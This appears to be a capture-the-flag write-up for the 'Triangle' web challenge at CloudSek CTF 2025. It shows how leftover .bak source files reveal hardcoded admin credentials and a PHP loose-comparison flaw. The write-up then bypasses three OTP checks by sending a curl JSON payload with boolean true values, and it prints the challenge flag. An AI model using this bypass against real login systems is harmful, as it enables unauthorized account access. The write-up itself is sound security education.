Back to Walkthroughs
Triangle
CloudSek CTF - 2025Medium

Triangle

#tutorial

Triangle - Writeup

Category: Web Exploitation
Vulnerability: Backup File Disclosure & PHP Type Juggling


1. Challenge Description

The challenge presents a login screen titled "Triangle - Log in to get the surprise." The authentication mechanism claims to be "Zero Trust" and requires five distinct pieces of information to authenticate:

  1. Username
  2. Password
  3. Three separate One-Time Passwords (OTP)

The system explicitly warns: "Only those who truly understand how the application works will pass all three."

Screenshot 2025-12-06 104433
Screenshot 2025-12-06 104816

2. Reconnaissance & Source Code Discovery

My first step was to inspect the HTML source code of the login page to understand the form submission logic. While reviewing the source, I discovered a critical comment left behind by the developers:

<!-- Dev team 2: TODO: Implement google2fa.php for auth and don't forget to clean up the bak files post debugging before release -->
Screenshot 2025-12-06 104836

This comment provided two specific vectors for investigation:

  1. Logic Handler: The authentication logic is likely handled by google2fa.php.
  2. Backup Files: The developers likely failed to remove backup files (common extensions include .bak, .old, or ~).

Based on this hint, I attempted to access the backup files directly via the URL. I appended .bak to the filenames mentioned in the comment:

  • http://15.206.47.5:8080/login.php.bak
  • http://15.206.47.5:8080/google2fa.php.bak

Both files downloaded successfully, allowing me to perform a White-Box Code Review.


3. Code Analysis

A. login.php (Hardcoded Credentials)

Analyzing login.php revealed that the application was not using a database for user management. Instead, it used a static user array defined in the code:

$USER_DB = [
    "admin" => [
        "password_hash" => password_hash("admin", PASSWORD_DEFAULT),
        // ... keys ...
    ]
];

This confirmed valid credentials:

  • Username: admin
  • Password: admin

B. google2fa.php (The Vulnerability)

I examined the verify_key function inside google2fa.php to understand how the three OTPs were validated.

public static function verify_key($b32seed, $key, $window = 4, $useTimeStamp = true) {
    // ... setup code ...
    for ($ts = $timeStamp - $window; $ts <= $timeStamp + $window; $ts++)
        if (self::oath_hotp($binarySeed, $ts) == $key) // VULNERABILITY HERE
            return true;
    return false;
}

The vulnerability lies in the use of the Loose Comparison Operator (==) instead of the Strict Comparison Operator (===).

In PHP Type Juggling:

  1. The function self::oath_hotp($binarySeed, $ts) returns a String (the generated 6-digit OTP).

  2. The $key variable is the user input.

  3. In PHP, comparing a non-empty String to the Boolean true using == results in True.

    • "123456" == true -> True
    • "AnyString" == true -> True

The Flaw: If we can supply the boolean value true as the input for the OTP fields (instead of a string like "123456"), the check will pass regardless of the actual OTP value generated by the server.


4. Exploitation Strategy

Standard HTML forms send data as strings (e.g., otp=true becomes the string "true"). To force PHP to interpret our input as a literal boolean, we must change the data format.

Technique: Send the request as JSON. In JSON, true (without quotes) is a distinct boolean data type, whereas "true" (with quotes) is a string.

Payload Construction

I constructed a JSON object containing the hardcoded admin credentials and set all three OTP fields to the boolean true.

{
  "username": "admin",
  "password": "admin",
  "otp1": true,
  "otp2": true,
  "otp3": true
}

Attack Execution

I used curl to send the payload, ensuring the Content-Type header was set to application/json so the server would parse the booleans correctly.

curl -X POST http://15.206.47.5:8080/login.php \
  -H "Content-Type: application/json" \
  -d '{"username": "admin", "password": "admin", "otp1": true, "otp2": true, "otp3": true}'
Screenshot 2025-12-06 105418

5. Result

The server received the JSON, parsed the OTP fields as booleans, and the loose comparison ("GeneratedOTP" == true) evaluated to true for all three checks. The authentication was bypassed, and the server returned the flag.

Flag: CL0UdSEk_ReSeArCH_tEaM_CTF_2025{474a30a63ef1f14e252dc0922f811b16}